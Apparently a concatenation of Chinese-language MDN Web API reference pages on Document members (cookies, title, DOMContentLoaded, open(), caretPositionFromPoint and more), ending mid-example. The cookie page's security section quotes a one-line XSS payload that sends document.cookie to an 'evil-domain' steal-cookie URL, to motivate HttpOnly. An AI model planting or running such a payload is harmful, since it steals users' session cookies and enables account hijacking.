`最大年龄`的秒数 (一年为 31536e3，永不过期的 cookie 为`Infinity` (en-US)) ，或者过期时间的 `GMTString` 格式或`Date 对象`; 如果没有定义则会在会话结束时过期 (`number` – 有限的或 `Infinity` (en-US) – `string`, `Date` object or `null`)。

`path` *(可选)*

例如 '/', '/mydir'。如果没有定义，默认为当前文档位置的路径。(`string` or `null`)。路径必须为绝对路径（参见 RFC 2965）。关于如何在这个参数使用相对路径的方法请参见这段。

`domain` *(可选)*

例如 'example.com'，'.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义，默认为当前文档位置的路径的域名部分 (`string` 或 `null`)。

`secure` *(可选)*

cookie 只会被 https 传输 (`boolean`或`null`)。

### 得到 cookie

##### 语法
```

docCookies.getItem(name)
```

##### 描述

读取一个 cookie。如果 cookie 不存在返回`null`。

##### 参数

`name`

读取的 cookie 名 (`string`).

### 移除 cookie

##### Syntax
```

docCookies.removeItem(name[, path],domain)
```

##### 描述

删除一个 cookie。

##### 参数

`name`

要移除的 cookie 名 (`string`).

`path` *(*可选*)*

例如 '/', '/mydir'。如果没有定义，默认为当前文档位置的路径。(`string` or `null`)。路径必须为绝对路径（参见 RFC 2965）。关于如何在这个参数使用相对路径的方法请参见这段。

`domain` (可选)

例如 'example.com'， '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义，默认为当前文档位置的路径的域名部分 (`string` 或 `null`)。

### 检测 cookie

##### 语法
```

docCookies.hasItem(name)
```

##### 描述

检查一个 cookie 是否存在

##### 参数

`name`

要检查的 cookie 名 (`string`).

### 得到所有 cookie 的列表

##### 语法
```

docCookies.keys()
```

##### 描述

返回一个这个路径所有可读的 cookie 的数组。

### 示例用法：

```js
docCookies.setItem("test0", "Hello world!");
docCookies.setItem(
  "test1",
  "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9",
  Infinity,
);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem(
  "test5",
  "Hello world!",
  "Tue, 06 Dec 2022 13:11:07 GMT",
  "/home",
);
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);

alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));
```

安全
--

路径限制并**不能**阻止从其他路径访问 cookie. 使用简单的 DOM 即可轻易地绕过限制 (比如创建一个指向限制路径的，隐藏的iframe, 然后访问其 `contentDocument.cookie` 属性). 保护 cookie 不被非法访问的唯一方法是将它放在另一个域名/子域名之下，利用同源策略保护其不被读取。

Web 应用程序通常使用 cookies 来标识用户身份及他们的登录会话。因此通过窃听这些 cookie，就可以劫持已登录用户的会话。窃听的 cookie 的常见方法包括社会工程和 XSS 攻击 -
```

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

`HttpOnly` 属性可以阻止通过 javascript 访问 cookie，从而一定程度上遏制这类攻击。参见 Cookies and Security.

备注
--

* 从 Firefox 2 起，有更好的客户端存储机制用以替代 cookie - WHATWG DOM Storage (en-US).
* 你可以通过更新一个 cookie 的过期时间为 0 来删除一个 cookie。
* 请注意，更多/更大的 cookies 意味着每个请求都要包含更繁重的数据传输。如果你只是需要存储些 "client-only" 的数据，那么郑重建议你使用 WHATWG DOM Storage (en-US).
规范
--

DOM Level 2: HTMLDocument.cookie

参见
--

* HTTP cookies (en-US)
* Cookies (Code snippets)


document.createAttribute() - Web API 接口参考

document.createAttribute()
==========================

**`Document.createAttribute()`** 方法创建并返回一个新的属性节点。这个对象创建一个实现了 `Attr` 接口的节点。这个方式下 DOM 不限制节点能够添加的属性种类。

语法
--
```

attribute = document.createAttribute(name)
```

### 参数

* `name` ，属性的属性名。
### 返回值

一个 `Attr` 节点。

### 异常

* `INVALID_CHARACTER_ERR` 如果参数含有非法的 XML 属性字符。
例子
--

```js
var node = document.getElementById("div1");
var a = document.createAttribute("my\_attrib");
a.value = "newVal";
node.setAttributeNode(a);
console.log(node.getAttribute("my\_attrib")); // "newVal"
```

备注
--

该方法的返回值是一个类型为 `Attr` 的节点。你可以通过为该节点的 `nodeValue` 属性赋值来设置该属性节点的属性值，也可以使用常用的 setAttribute() 方法来替代该方法。

规范
--

| Specification |
| --- |
| DOM Standard # dom-document-createattribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Document.createElement()`


Document.exitPictureInPicture() - Web API 接口参考

Document.exitPictureInPicture()
===============================

`Document` 的 **`exitPictureInPicture()`** 方法请求退出以画中画模式浮动在此文档中播放的视频，来恢复屏幕之前的状态。这通常与先前调用的 `HTMLVideoElement.requestPictureInPicture()` 相反。

语法
--

```js
exitPictureInPicture()
```

### 参数

无。

### 返回值

一个 `Promise`，在用户代理退出画中画模式时兑现。如果在尝试退出全屏模式时发生错误，将会调用 promise 的 `catch()` 处理程序。

示例
--

此示例使当前文档在鼠标点击按钮时退出画中画模式。

```js
document.onclick = function (event) {
  if (document.pictureInPictureElement) {
    document
      .exitPictureInPicture()
      .then(() => console.log("Document Exited from Picture-in-Picture mode"))
      .catch((err) => console.error(err));
  } else {
    video.requestPictureInPicture();
  }
};
```

注意，如果你想要跟踪页面上正在以画中画模式播放的视频，你应该在 `HTMLVideoElement` 元素上监听 `enterpictureinpicture` 和 `exitpictureinpicture` 事件。或者，你可以检查 `Document.pictureInPictureElement` 元素是否引用了当前的 `HTMLVideoElement` 元素。

规范
--

| Specification |
| --- |
| Picture-in-Picture # ref-for-dom-document-exitpictureinpicture |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLVideoElement.requestPictureInPicture()`
* `HTMLVideoElement.disablePictureInPicture`
* `Document.pictureInPictureEnabled`
* `Document.pictureInPictureElement`
* `:picture-in-picture`
* Picture-in-Picture events


Document：styleSheetSets 属性 - Web API 接口参考

Document：styleSheetSets 属性
==========================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

**非标准:** 该特性是非标准的，请尽量不要在生产环境中使用它！

**`styleSheetSets`** 只读属性返回一个所有当前可用样式表集合的实时列表。

值
-

一个可用的样式表集合的列表。

示例
--

给定一个 ID 为“sheetList”的 `<ul>`（列表）元素，你可以使用下面的代码将所有可用样式表集合的名称填充到列表中：

```js
const list = document.getElementById("sheetList");
const sheets = document.styleSheetSets;

list.textContent = "";

for (const sheet of sheets) {
  const item = document.createElement("li");
  item.textContent = sheet;
  list.appendChild(item);
}
```

备注
--

可用样式表集合的列表是通过以下方式构建的：按照文档中所有可用的样式表在 `Document.styleSheets` 属性中列出的顺序枚举，并将每个具有标题的样式表的 `title` 添加到列表中。列表中的重复项将被删除（使用区分大小写的比较）。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Stylesheet`
* `document.styleSheets`
* `document.lastStyleSheetSet`
* `document.preferredStyleSheetSet`
* `document.selectedStyleSheetSet`
* `document.enableStyleSheetsForSet()` (en-US)


Document.links - Web API 接口参考

Document.links
==============

`links` 属性返回一个文档中所有具有 href 属性值的 `<area>` 元素与 `<a>` 元素的集合。

### 语法
```

nodeList = document.links
```

### 返回值

一个 `HTMLCollection`。

### 示例

```js
var links = document.links;
for (var i = 0; i < links.length; i++) {
  var linkHref = document.createTextNode(links[i].href);
  var lineBreak = document.createElement("br");
  document.body.appendChild(linkHref);
  document.body.appendChild(lineBreak);
}
```

### 规范

| Specification |
| --- |
| HTML Standard # dom-document-links-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document: pointerlockchange event - Web API 接口参考

Document: pointerlockchange event
=================================

`pointerlockchange` 事件当指针解锁或者被锁定时触发

|  |  |
| --- | --- |
| 冒泡 | Yes |
| 可取消 | No |
| 接口 | `Event` |
| Event handler property | `onpointerlockchange` |

例子
--

使用 `addEventListener()`:

```js
document.addEventListener("pointerlockchange", (event) => {
  console.log("Pointer lock changed");
});
```

使用 `onpointerlockchange` 事件处理程序属性

```js
document.onpointerlockchange = (event) => {
  console.log("Pointer lock changed");
};
```

Specifications
--------------

| Specification |
| --- |
| Pointer Lock 2.0 # pointerlockchange-and-pointerlockerror-events |
| Pointer Lock 2.0 # dom-document-onpointerlockchange |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参考
--

* Using Pointer Lock API


Document：visibilitychange 事件 - Web API 接口参考

Document：visibilitychange 事件
============================

当其选项卡的内容变得可见或被隐藏时，会在 document 上触发 `visibilitychange` 事件。

该事件不可取消。

语法
--

在像 `addEventListener()` 的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("visibilitychange", (event) => {});

onvisibilitychange = (event) => {};
```

事件类型
----

通用 `Event`。

使用说明
----

该事件不包括文档的更新的可见性状态，但是你可以从文档的 `visibilityState` 属性中获取该信息。

当用户导航到新页面、切换标签页、关闭标签页、最小化或关闭浏览器，或者在移动设备上从浏览器切换到不同的应用程序时，该事件就会触发，其 `visibilityState` 为 `hidden`。过渡到 `hidden` 是页面能可靠观察到的最后一个事件，因此开发人员应将其视为用户会话的可能结束（例如，用于发送分析数据）。

向 `hidden` 过渡也是页面停止用户界面更新和停止用户不想在后台运行的任何任务的好时机。

示例
--

### 在文档转向隐藏状态时暂停音乐

本示例在文档可见时开始播放音乐曲目，在文档不再可见时暂停音乐。

```js
document.addEventListener("visibilitychange", () => {
  if (document.visibilityState === "visible") {
    backgroundMusic.play();
  } else {
    backgroundMusic.pause();
  }
});
```

### 在文档转向隐藏状态时发送会话结束分析报告

本示例将 `hidden` 转换视为用户会话的结束，并使用 `Navigator.sendBeacon()` API 发送相应的分析结果。

```js
document.onvisibilitychange = () => {
  if (document.visibilityState === "hidden") {
    navigator.sendBeacon("/log", analyticsData);
  }
};
```

规范
--

| Specification |
| --- |
| HTML Standard # event-visibilitychange |
| HTML Standard # handler-onvisibilitychange |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 页面可见性 API
* `Document.visibilityState`
* 使用页面可见性，不丢失用户和应用程序状态详细解释了为什么应该使用 `visibilitychange`，而不是 `beforeunload`/`unload`。
* 页面生命周期 API 提供了在 web 应用程序中处理页面生命周期行为的最佳实践指导。


Document.alinkColor - Web API 接口参考

Document.alinkColor
===================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

返回或设置文档体内的活动链接的颜色。mousedown 和 mouseup 事件之间的时间在一个链接是有效的。

语法
--
```

color = document.alinkColor
document.alinkColor  = color
color 可以是一个“颜色名称”（例如，“blue”，“darkblue”，等）或者是一个“十六进制的颜色值”（例如，#0000ff）
```

注意
--

这个属性在 Mozilla Firefox 浏览器的默认值是红色的（#ee0000 十六进制）。

document.alinkcolor 在 DOM Level 2 HTML 中不推荐使用。可以使用 CSS 伪类选择器 `:active`。

另一种选择是使用 document.body.alink，虽然这在 HTML 4.01 中可以用 CSS 使用替代。

Gecko 支持 alinkcolor/:active 和 `:focus`。在 Internet Explorer 6/7 中 alinkcolor/:active 仅在 HTML Elemeint A 上有效。


Document.title - Web API 接口参考

Document.title
==============

`document.title` 属性用于获取或设置文档的标题。如果存在，它的默认为 `<title>` 的值。

值
-

一个包含*文档*标题的字符串。如果通过设置 `document.title` 将标题覆盖，则返回覆盖后的值。否则返回 `<title>` 元素里指定的标题。

```js
document.title = newTitle;
```

`newTitle` 是文档的新标题。赋值操作影响 `document.title` 的返回值、文档的显示标题（即窗口或标签页顶部的标题栏），另外还会影响文档的 DOM，即改变 HTML 文档中 `<title>` 元素的内容。

示例
--

```html
<!doctype html>
<html lang="en-US">
  <head>
    <meta charset="UTF-8" />
    <title>Hello World!</title>
  </head>
  <body>
    <script>
 alert(document.title); // 显示 "Hello World!"
 document.title = "Goodbye World!";
 alert(document.title); // 显示 "Goodbye World!"
 </script>
  </body>
</html>
```

规范
--

| Specification |
| --- |
| HTML Standard # document.title |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document：DOMContentLoaded 事件 - Web API 接口参考

Document：DOMContentLoaded 事件
============================

当 HTML 文档完全解析，且所有延迟脚本（`<script defer src="…">` 和 `<script type="module">`）下载和执行完毕后，会触发 **`DOMContentLoaded`** 事件。它不会等待图片、子框架和异步脚本等其他内容完成加载。

`DOMContentLoaded` 不会等待样式表加载，但延迟脚本*会*等待样式表，而且 `DOMContentLoaded` 事件排在延迟脚本之后。此外，非延迟或异步的脚本（如 `<script>`）将等待已解析的样式表加载。

另一个事件——`load`——只能用于检测完全加载的页面。有一个常见的错误就是在 `DOMContentLoaded` 事件更合适时使用了 `load` 事件。

这个事件不可取消。

语法
--

在类似于 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("DOMContentLoaded", (event) => {});

onDOMContentLoaded = (event) => {};
```

事件类型
----

通用 `Event`。

示例
--

### 基本用法

```js
document.addEventListener("DOMContentLoaded", (event) => {
  console.log("DOM 完全加载和解析");
});
```

### 延迟 DOMContentLoaded

```html
<script>
 document.addEventListener("DOMContentLoaded", (event) => {
 console.log("DOM 完全加载和解析");
 });

 for (let i = 0; i < 1\_000\_000\_000; i++);
 // 这段同步脚本将会延迟 DOM 解析，
 // 所以 DOMContentLoaded 事件将会延迟执行。
</script>
```

### 检查加载是否已经完成

在你的脚本有机会运行前，`DOMContentLoaded` 可能就已经被触发。所以你在决定添加一个事件监听器前最好先检查一下。

```js
function doSomething() {
  console.info("DOM 加载了");
}

if (document.readyState === "loading") {
  // 此时加载尚未完成
  document.addEventListener("DOMContentLoaded", doSomething);
} else {
  // `DOMContentLoaded` 已经被触发
  doSomething();
}
```

**备注：** 这里不存在竞争条件——文档不可能在 `if` 检查和 `addEventListener()` 调用之间被加载。JavaScript 采用的是运行到完成语义，这意味着如果文档在事件循环的某个特定时间点正在加载，那么在下一个循环之前它是不可能被加载的，而在下一个循环中，`doSomething` 处理程序已经附加并将被触发。

### 运行实例

#### HTML

```html
<div class="controls">
  <button id="reload" type="button">重新加载</button>
</div>

<div class="event-log">
  <label for="eventLog">事件日志：</label>
  <textarea
 readonly
 class="event-log-contents"
 rows="8"
 cols="30"
 id="eventLog"></textarea>
</div>
```

```
body {
  display: grid;
  grid-template-areas: "control log";
}

.controls {
  grid-area: control;
  display: flex;
  align-items: center;
  justify-content: center;
}

.event-log {
  grid-area: log;
}

.event-log-contents {
  resize: none;
}

label,
button {
  display: block;
}

#reload {
  height: 2rem;
}
```

#### JavaScript

```js
const log = document.querySelector(".event-log-contents");
const reload = document.querySelector("#reload");

reload.addEventListener("click", () => {
  log.textContent = "";
  setTimeout(() => {
    window.location.reload(true);
  }, 200);
});

window.addEventListener("load", (event) => {
  log.textContent += "load\n";
});

document.addEventListener("readystatechange", (event) => {
  log.textContent += `readystate: ${document.readyState}\n`;
});

document.addEventListener("DOMContentLoaded", (event) => {
  log.textContent += "DOMContentLoaded\n";
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # stop-parsing |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件：`load`、`readystatechange`、`beforeunload`、`unload`


document.anchors - Web API 接口参考

document.anchors
================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

### 概述

`anchors`属性返回当前文档中的所有锚点元素。

### 语法
```

nodeList = document.anchors
```

### 例子

```js
if (document.anchors.length >= 5) {
  dump("dump found too many anchors");
  window.location = "http://www.google.com";
}
```

下例自动生成一个目录列表，包含了到每个段落的锚点。

```js
<!DOCTYPE HTML>
<html>
<head>
    <script type="text/javascript" charset="utf-8">
    function init() {
        var toc = document.getElementById("toc");
        var i, li, newAnchor;
        for (i = 0; i < document.anchors.length; i++) {
            li = document.createElement("li");
            newAnchor = document.createElement('a');
            newAnchor.href = "#" + document.anchors[i].name;
            newAnchor.innerHTML = document.anchors[i].text;
            li.appendChild(newAnchor);
            toc.appendChild(li);
        }
    }

    </script>
</head>
<body onload="init()">

<h1>Title</h1>
<a name="contents"><h2>Contents</h2></a>
<ul id="toc"></ul>

<a name="plants"><h2>Plants</h2></a>
<ol>
    <li>Apples</li>
    <li>Oranges</li>
    <li>Pears</li>
</ol>

<a name="veggies"><h2>Veggies</h2></a>
<ol>
    <li>Carrots</li>
    <li>Celery</li>
    <li>Beats</li>
</ol>

</body>
</html>
```

在 JSFiddle 中查看

### 备注

由于向后兼容的原因，该属性只返回那些拥有 `name` 属性的 `a` 元素，而不是那些拥有 `id` 属性的 `a` 元素。

### 规范

DOM Level 2 HTML: anchors


Document.location - Web API 接口参考

Document.location
=================

**`Document.location`** 是一个只读属性，返回一个 `Location` 对象，包含有文档的 URL 相关的信息，并提供了改变该 URL 和加载其他 URL 的方法。

尽管 `Document.location` 是一个只读的 `Location` 对象，你也能够赋给它一个 `DOMString`。这意味着你能够赋给 document.location 字符串，大多数情况下像这样使用：`document.location = 'http://www.example.com'`，也可写为`document.location.href = 'http://www.example.com'`。

只是想获取字符串形式的 URL，可以使用只读属性 `document.URL`。

If the current document is not in a browsing context, the returned value is `null`.

语法
--

```js
locationObj = document.location;
document.location = "http://www.mozilla.org"; // Equivalent to document.location.href = 'http://www.mozilla.org'
```

示例
--

```js
dump(document.location);
// Prints a string like
// "http://www.example.com/juicybits.html" to the console
```

规范
--

| Specification |
| --- |
| HTML Standard # the-location-interface |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* The interface of the returned value, `Location`.
* A similar information, but attached to the browsing context, `Window.location`


document.currentScript - Web API 接口参考

document.currentScript
======================

**`Document.currentScript`** 属性返回当前正在运行的脚本所属的 `<script>` 元素。调用此属性的脚本不能是 JavaScript 模块，模块应当使用 `import.meta` 对象。

值得注意的是，如果当前正在执行的代码是被其他代码作为回调函数或者事件处理函数调用的，那么 `currentScript` 属性不会指向任何 `<script>` 元素，而是会返回 `null`。这个属性只在脚本被解析后首次运行时有效。

语法
--
```

var curScriptElement = document.currentScript;
```

示例
--

下例演示了如何检测当前正在执行脚本的 `<script>` 元素是否是以异步模式执行的。

```js
if (document.currentScript.async) {
  console.log("Executing asynchronously");
} else {
  console.log("Executing synchronously");
}
```

View Live Examples

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-currentscript-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `import.meta`
* `<script>`
* `document.onafterscriptexecute`
* `document.onbeforescriptexecute`


element.onafterscriptexecute - Web API 接口参考

element.onafterscriptexecute
============================

概述
--

当 HTML 文档中的`<script>`标签内的代码执行完毕时触发该事件，如果这个`script`标签是用`appendChild()`等方法动态添加上去的，则不会触发该事件。

语法
--
```

document.onafterscriptexecute = funcRef;
```

当`afterscriptexecute`事件触发时，`funcRef`函数就会被调用。传入参数`event`的`target`属性指向触发该事件的那个`script`元素。

例子
--

```js
function finished(e) {
  logMessage("Finished script with ID: " + e.target.id);
}

document.addEventListener("afterscriptexecute", finished, true);
```

查看在线演示

规范
--

* HTML5
参见
--

* `element.onbeforescriptexecute`
* `document.currentScript`


Document：selectedStyleSheetSet 属性 - Web API 接口参考

Document：selectedStyleSheetSet 属性
=================================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

**非标准:** 该特性是非标准的，请尽量不要在生产环境中使用它！

**`selectedStyleSheetSet`** 属性表示当前使用的样式表集合的名称。

值
-

当前使用的样式表集合的名称。你也可以使用这个属性设置当前样式表集合。

设置这个属性的值等价于用 `currentStyleSheetSet` 的值调用 `document.enableStyleSheetsForSet()` (en-US)，然后将 `lastStyleSheetSet` 的值设置为该值。

**备注：** 这个属性的值是实时的，直接更改样式表中的 `disabled` 属性将会影响这个属性的值。

示例
--

```js
console.log(`当前样式表集合：${document.selectedStyleSheetSet}`);

document.selectedStyleSheetSet = "其他的某些样式表";
```

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `document.lastStyleSheetSet`
* `document.preferredStyleSheetSet`
* `document.styleSheetSets`
* `document.enableStyleSheetsForSet()` (en-US)


Document.open() - Web API 接口参考

Document.open()
===============

**`Document.open()`** 方法打开一个要写入的文档。

这将会有一些连带的影响。例如：

* 此时已注册到文档、文档中的节点或文档的 window 的所有事件监听器会被清除。
* 文档中的所有节点会被清除。
语法
--
```

document.open();
```

### 参数

无。

### 返回值

一个 `Document` 对象实例。

示例
--

以下简单的代码，会打开一个文档，并将原有内容替换为一些不同的 HTML 片段，然后关闭文档。
```

document.open();
document.write("<p>Hello world!</p>");
document.write("<p>I am a fish</p>");
document.write("<p>The number is 42</p>");
document.close();
```

注意
--

当 document.write() 在页面加载后调用，会发生自动的 `document.open()`调用。

 很多年以来，Firefox 和 IE 浏览器会在清除所有节点的同时，将所有 Javascript 变量等一并清除，但现在已经不采用这一做法。
 document non-spec'ed parameters to document.open

不要和 window.open() 方法混淆。`document.open` 可用于重写当前的文档内容或者追加内容，而 `window.open` 是提供了打开一个新的窗口的方法，当前的网页文档内容会被保留。由于 `window` 是一个全局对象，直接调用 `open(...)` 和 `window.open(...)` 的效果是一样的。你可以使用 `document.close()` 关闭打开的文档。

See Security check basics for more about principals.

如果不想在当前文本追加内容，使用 `open("text/html", "replace")` 替换 `open()`。

### 针对 Gecko 的注意事项

从 Gecko 1.9 开始，这个方法与其他属性一样受到同源策略的控制，若调用会使文档的源产生变化则不可用。

从 Gecko 1.9.2 开始，`document.open()` 使用文档的使用的 URI 的principal大，而不是从 stack 中取来 principal。因此，你无需再在不可信的文档里调用 `document.write()` ，包括使用`wrappedJSObject`。关于 principal 的更多信息详见Security check basics。

三个参数的 document.open()
---------------------

有一个更少人知道且更少被使用的 `document.open()` 的版本，这是`Window.open()` 的一个别名（前往该页面查看更多）。

这种调用，例如在新窗口打开 github.com，把 opener 设为`null`：
```

document.open('https://www.github.com','', 'noopener=true')
```

两个参数的 document.open()
---------------------

浏览器过往支持一个两个参数版本的`document.open()`，方法参数签名如下：
```

document.open(type, replace)
```

`type`指定了所需写入的数据的 MIME 类型，`replace`（如有设置，值为一个字符串“replace”）指定了新文档的历史写入会代替现有的例如写入。

这种形式现在已经弃用；它不会抛出错误，但会直接调用`document.open()`（相当于无参数形式的调用）。这种历史写入替换行为现在一定会发生。

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-open-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Document`
* `Window.open()`


Document：caretPositionFromPoint() 方法 - Web API 接口参考

Document：caretPositionFromPoint() 方法
====================================

`Document` 接口的 **`caretPositionFromPoint()`** 属性返回一个 `CaretPosition` 对象，其中包含 DOM 节点以及该节点内光标和光标的字符偏移量。

语法
--

```js
caretPositionFromPoint(x, y)
```

### 参数

`x`

一个点的水平坐标。

`y`

一个点的垂直坐标。

### 返回值

一个 `CaretPosition` 对象。

示例
--

在下面的**演示**段落中单击任意位置即可在单击点处插入换行符。其代码位于演示下方。

### 演示

以下代码首先检查 `document.caretPositionFromPoint` 支持情况，但如果浏览器不支持，则代码会检查 `document.caretRangeFromPoint` 并使用它。

### JavaScript

```js
function insertBreakAtPoint(e) {
  let range;
  let textNode;
  let offset;

  if (document.caretPositionFromPoint) {
    range = document.caretPositionFromPoint(e.clientX, e.clientY);
    textNode = range.offsetNode;
    offset = range.offset;
  } else if (document.caretRangeFromPoint) {
    // 使用 WebKit 专有回退方法
    range = document.caretRangeFromPoint(e.clientX, e.clientY);
    textNode = range.startContainer;
    offset = range.startOffset;
  } else {
    // 两个方法都不支持，什么都不做
    return;
  }
  // 只分割 TEXT\_NODE
  if (textNode?.nodeType === 3) {
    let replacement = textNode.splitText(offset);
    let br = document.createElement("br");
    textNode.parentNode.insertBefore(br, replacement);
  }
}

let paragraphs = document.getElementsByTagName("p");
for (const paragraph of paragraphs) {
  paragraph.addEventListener("click", insertBreakAtPoint, false);
}
```

```
let message = document.getElementById("message");
if (document.caretPositionFromPoint) {
  message.textContent =
    "This browser supports the standard document.caretPositionFromPoint";
  message.classList.add("supported");
} else if (document.caretRangeFromPoint) {
  message.textContent =
    "This browser supports the non-standard document.caretRangeFromPoint";
  message.classList.add("supported");
}
```

### HTML
```

<div id="message">
  This browser supports neither document.caretRangeFromPoint nor
  document.caretPositionFromPoint
</div>
```

```html
<p>
  Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
  eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
  voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita
  kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
</p>
```

```
#message {
  color: red;
  font-weight: bold;
}

#message.fallback {
  color: darkorange;
}

#message.supported {
  color: green;
}
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-document-caretpositionfrompoint |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `CaretPosition`


Document.pictureInPictureEnabled - Web API 接口参考

Document.pictureInPictureEnabled
================================

`Document` 接口的只读属性 **`pictureInPictureEnabled`**，表示画中画模式是否可用。

除非 Permissions-Policy 另有规定，否则画中画模式默认是可用的。

尽管这个属性是只读的，但是即使它被修改（甚至是在严格模式下），也不会抛出错误；setter 是无操作的并且将会被忽略。

值
-

一个布尔值，如果视频可以通过调用 `HTMLVideoElement.requestPictureInPicture()` 进入画中画模式并在浮动窗口中播放，则为 `true`。如果画中画模式不可用，则值是 `false`。

示例
--

在此示例中，在 `<video>` 元素试图进入画中画模式之前，会检查 `pictureInPictureEnabled` 的值，为避免在该功能不可用时调用。

```js
function requestPictureInPicture() {
  if (document.pictureInPictureEnabled) {
    videoElement.requestPictureInPicture();
  } else {
    console.log("Your browser cannot use picture-in-picture right now");
  }
}
```

规范
--

| Specification |
| --- |
| Picture-in-Picture # ref-for-dom-document-pictureinpictureenabled |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLVideoElement.requestPictureInPicture()`
* `HTMLVideoElement.disablePictureInPicture`
* `Document.exitPictureInPicture()`
* `Document.pictureInPictureElement`
* `:picture-in-picture`


document.compatMode - Web API 接口参考

document.compatMode
===================

表明当前文档的渲染模式是怪异模式/混杂模式还是标准模式。

术语
--

| 英文 | 中文 |
| --- | --- |
| Quirks mode | 怪异模式 混杂模式 |
| Standards mode | 标准模式 |
| almost standards mode limited-quirks mode | 准标准模式 |

语法
--
```

mode = document.compatMode;
```

### 值

`mode`

是一个枚举值（enumerated value），可能的值有：

* `"BackCompat"`：文档为怪异模式。
* `"CSS1Compat"`：文档不是怪异模式，意味着文档处于标准模式或者准标准模式。

**备注：** 现在，这些模式都已经被标准化了，准标准模式已和标准模式相同，而标准模式成为了默认表现。标准模式和准标准模式这两个名字已经失去了意义，不再在规范文档中出现。

例子
--

```js
if (document.compatMode == "BackCompat") {
  // 渲染模式为混杂模式
}
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-compatmode① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.characterSet - Web API 接口参考

document.characterSet
=====================

**`Document.characterSet`** 只读属性返回当前文档的字符编码。该字符编码是用于渲染此文档的字符集，可能与该页面指定的编码不同。（用户可以重写编码方式。）

**备注：** `document.charset` 和 `document.inputEncoding` 属性是 `document.characterSet` 的遗留别名。不要再使用它们。

语法
--
```

var string = document.characterSet
```

示例
--
```

<button onclick="alert(document.characterSet);">查看字符集</button>
//返回当前文档的字符集，比如"ISO-8859-1" 或者 "UTF-8"
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-characterset① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.adoptNode() - Web API 接口参考

Document.adoptNode()
====================

从其他的 document 文档中获取一个节点。该节点以及它的子树上的所有节点都会从原文档删除 (如果有这个节点的话), 并且它的`ownerDocument` 属性会变成当前的 document 文档。之后你可以把这个节点插入到当前文档中。

语法
--

```js
adoptNode(externalNode)
```

`externalNode`

将要从外部文档导入的节点。

示例
--

```js
const iframe = document.querySelector("iframe");
const iframeImages = iframe.contentDocument.querySelectorAll("img");
const newParent = document.getElementById("images");

iframeImages.forEach((imgEl) => {
